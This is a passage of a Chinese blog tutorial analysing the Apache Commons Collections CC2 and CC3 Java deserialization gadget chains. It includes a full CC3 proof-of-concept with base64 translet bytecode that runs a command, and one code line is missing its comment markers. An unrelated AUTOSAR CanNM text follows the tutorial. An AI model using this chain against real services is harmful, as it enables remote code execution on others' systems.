        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
 
        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

readObject方法会把序列化后的数据还原成java对象,然后通过queue属性用于接收元素 ,queue是一个数组,size属性记录元素的个数,接着调用heapify()方法。

heapify方法内部将queue队列作为参数传给了siftDownUsing方法。

private void heapify() {
    final Object[] es = queue;
    int n = size, i = (n >>> 1) - 1;
    final Comparator<? super E> cmp;
    if ((cmp = comparator) == null)
        for (; i >= 0; i--)
            siftDownComparable(i, (E) es[i], es, n);
    else
        for (; i >= 0; i--)
            siftDownUsingComparator(i, (E) es[i], es, n, cmp);
}

现在分析一下siftDownComparable方法

private static <T> void siftDownComparable(int k, T x, Object[] es, int n) {
    // assert n > 0;
    Comparable<? super T> key = (Comparable<? super T>)x;
    int half = n >>> 1;           // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = es[child];
        int right = child + 1;
        if (right < n &&
            ((Comparable<? super T>) c).compareTo((T) es[right]) > 0)
            c = es[child = right];
        if (key.compareTo((T) c) <= 0)
            break;
        es[k] = c;
        k = child;
    }
    es[k] = key;
}

他的内部会生成一个Compare比较器,并且调用CompareTo方法。

再看一下siftDownComparator

private static <T> void siftDownUsingComparator(
    int k, T x, Object[] es, int n, Comparator<? super T> cmp) {
    // assert n > 0;
    int half = n >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = es[child];
        int right = child + 1;
        if (right < n && cmp.compare((T) c, (T) es[right]) > 0)
            c = es[child = right];
        if (cmp.compare(x, (T) c) <= 0)
            break;
        es[k] = c;
        k = child;
    }
    es[k] = x;
}

它调用了了comparator属性的Comparator比较器的compare方法

如果comparator属性指定为TransformingComparator比较器的话,就可以调用TransformingComparator的compare方法了

于是我们可以通过反射,将PriorityQueue队列中的comparetor属性设置为TranmsformingComparator的比较器。

并且将compare方法的参数设置为TemplatesImpl对象,然后transform方法就会调用TemplatesImpl对象的newTransformer方法,这一步会衔接之前构造的利用链,最终形成完整的CC2链。

public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

来概括一下简单的流程

PriorityQueue承载TemplatesImpl,

TemplatesImpl的_bytecodes装载StubTransletPayload字节码

通过javassist修改StubTransletPayload字节码插入命令执行,

PriorityQueue的排序使用比较器TransformingComparator,

比较器触发InvokerTransformer的transform,

transform最终触发StubTransletPayload实例化,进而造成命令执行。

思考

  • 为什么需要向quque中添加至少两个元素?
  • PriorityQueue队列中queue的属性被translent关键字修饰具有不会序列化的语义,在反序列化的过程中,为什么还能从中读取queue的数据。
  • 流中的数据从何而来?

PriorityQueue#add() 方法会对 PriorityQueue的成员变量size进行加1处理。

而PriorityQueue在反序列化的过程中(readObject()->heapify()->siftDown()) 会对这个成员变量size的值进行判断。如果前面没有先两次add(1), 那么size的值就是0,反序列化的时候不会触发利用链

transient:将不需要序列化的属性前添加关键字transient,序列化对象的时候,这个属性就不会被序列化。

参考链接:https://baijiahao.baidu.com/s?id=1636557218432721275&wfr=spider&for=pc

通过分析PriorityQueue类的writeObject方法,发现对queue属性里的内容进行了序列化

java序列化机制不允许被transient关键字修饰的成员属性参与序列化,那为啥还是能调用writeObject方法进行序列化?

这句话有一个前提,如果采用默认的方式进行序列化,(实现Serializable接口,但不重写writeObject方法和readObject方法),transient关键字修饰的成员属性确实不会参加改序列化,并且成员属性的内容也不会序列化。但是重写了 writeObject的方法,就可以实现自定义序列化,调用 writeObject方法并且传入 queue属性的,这样的话, queue中的内容仍然会参加序列化。

CC3

漏洞环境

jdk1.7

Apache-commons collections 3.0

CC3链在JDK8u71以上版本无法使用,和CC链1的使用限制是一样的。

CC链3,ysoserial给的gadget是这样的

/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/

描述中是利用Instantiate去代替Transformer

payload如下

package com.cc;
 
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xml.internal.security.utils.Base64;
 
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
 
 
public class CC3Test1 {
 
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
 
    public static void main(String[] args) throws Exception {
        //构造核心利用代码
        byte[] bytes = Base64.decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "TestTemplatesImpl");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        //构造利用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
 
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        //触发利用链
        Map map = new HashMap();
        map.put("value", "test");
        Map transformedMap  = TransformedMap.decorate(map, null, chain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(java.lang.annotation.Target.class,transformedMap);
 
        序列化与反序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(instance);
        oos.close();
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

 CC链3的分析,构造核心利用代码是和CC链2一样的额,触发利用链和CC链1一样。

//构造利用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

我们已经通过CC链1知道了ConstantTransformer类实现了Transformer接口,不过InstantiableTransformer类也实现了Transformer的接口。

于是我们可以构造ChainedTransformer来实现数组的传递

这里ConstantTransformertransform方法返回TrAXFilter的class对象。

然后,我们去跟进一下InstantiableTransformerTransformer的方法

他首先判断输入object对象是否是class对象,否则就抛出异常并返回,然后根据iparamTypesiArgs获取对象给的构造器并且实例化,然后通过调用readObject方法。 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
这里的NM主要是针对Can协议的网路管理。 AUTOSAR CanNM的核心思想主要归纳为以下两条: 1.  如果节点需要保持通信,则节点需要周期的发送NMPDUs,否则停止发送NMPDUs 2.     如果总线上的所有节点不需要使用总线,那么总线上过了一段时间没有NMPDUs时,则会进入Bus-Sleep Mode。   工作模式和状态   CanNm一共有三个工作模式 1.  Network Mode 2.  PrepareBus-Sleep Mode 3.  Bus-Sleep Mode 模式的改变应该通过回调函数通知上层。 下面单独说每种模式   (1)Network Mode Network Mode又包括三个内部状态 1. Repeat Message State 2. Normal Operation State 3. Ready Sleep State ①Repeat Message State 这个模式被用来确保从Bus-Sleep or Prepare Bus-Sleep到Network Mode的节点被总线上面其他节点发现。这个状态可以用来检测总线上的节点。 当进入Repeat Message State时,节点应该开始传送NMPDUs。 在Repeat Message State时,当NM-Timeout Timer溢出,CanNm模块应该重载Timer。 CanNm模块应该在Repeat Message State 下保持一段时间,这段时间可以通过CANNM_REPEAT_MESSAGE_TIME来进行配置。 当离开Repeat Message State的时候,如果节点需要通信,则进入Normal Operation State;如果节点不需要通信,则进入Ready Sleep State。并且清空Repeat Message Bit。   ②Normal Operation State 这个状态可以保持总线处于唤醒状态。从Ready sleep state进入这个状态的时候应该发送NMPDUs。 在Normal Operation State当NM-Timeout Timer溢出,CanNm模块应该重载Timer。 如果节点不需要使用通信,则网络应该被释放,节点应该进入Ready Sleep State。 如果节点接收到Repeat Message Request Bit,则节点进入Repeat Message State。如果节点自身需要进入Repeat Message State,则该节点进入Repeat Message State并且设置Repeat Message Request Bit。   ③ReadySleep State 这个状态是为了如果本节点已经准备释放总线,而其他节点还需要使用总线的时候,在这个状态下等待其他总线上的节点进入Perpere Bus-Sleep Mode。进入这个状态之后,CanNm模块应该停止NMPDUs的传送。 如果NM-Timeout Timer溢出,节点将会进入Prepare Bus-Sleep Mode。 如果该节点需要使用总线,则节点进入Nomal Operation State。 如果节点接收到Repeat Message Request Bit,则节点进入Repeat Message State。如果节点自身需要进入Repeat Message State,则该节点进入Repeat Message State并且设置Repeat Message Request Bit。 (2)PrepareBus-Sleep Mode   这个状态是为了等待总线上的所有节点能够在进入Bus-Sleep Mode之前,有时间停止节点的active状态如清空队列中为发送的报文。在Prepare Bus –Sleep Mode下,所有节点都静默下来。 当节点进入PrepareBus Mode时,应该通知上层应用。通过配置CANNM_WAIT_BUS_SLEEP_TIME参数,可以改变节点在PrepareBus-Sleep Mode停留的时间,在这段时间之后节点将会进入其他状态。 在Prepare Bus-Sleep Mode下面接收到NMPDU或者被上层应用请求通信时,节点将进入Network Mode中的Normal operation State。   (3)Bus-SleepMode   Bus-Sleep Mode的目的是当没有消息被传送的时候可以减少能量的消耗。在Bus-Sleep Mode下面,节点可以被唤醒(如本地唤醒源和CAN线唤醒源)。CANNM_TIMEOUT_TIME+CANNM_WAIT_BUS_SLEEP_TIME两个参数在整个总线上面的节点都应该时一样的配置,保证了总线上的节点能够统一的进行休眠。 当进入Bus-Sleep Mode时候,应该通知上层应用。 在Bus-Sleep Mode下,如果成功接收到NMPDU,CAN NM模块应该调用Nm_NetworkStartIndication。 如果CanNm_PassiveStartUp被调用,则CAN NM模块进入Network Mode 中的Repeat Message State。 ———————————————— 版权声明:本文为CSDN博主「cococenstar」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处接及本声明。 原文接:https://blog.csdn.net/cococenstar/article/details/84096689

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值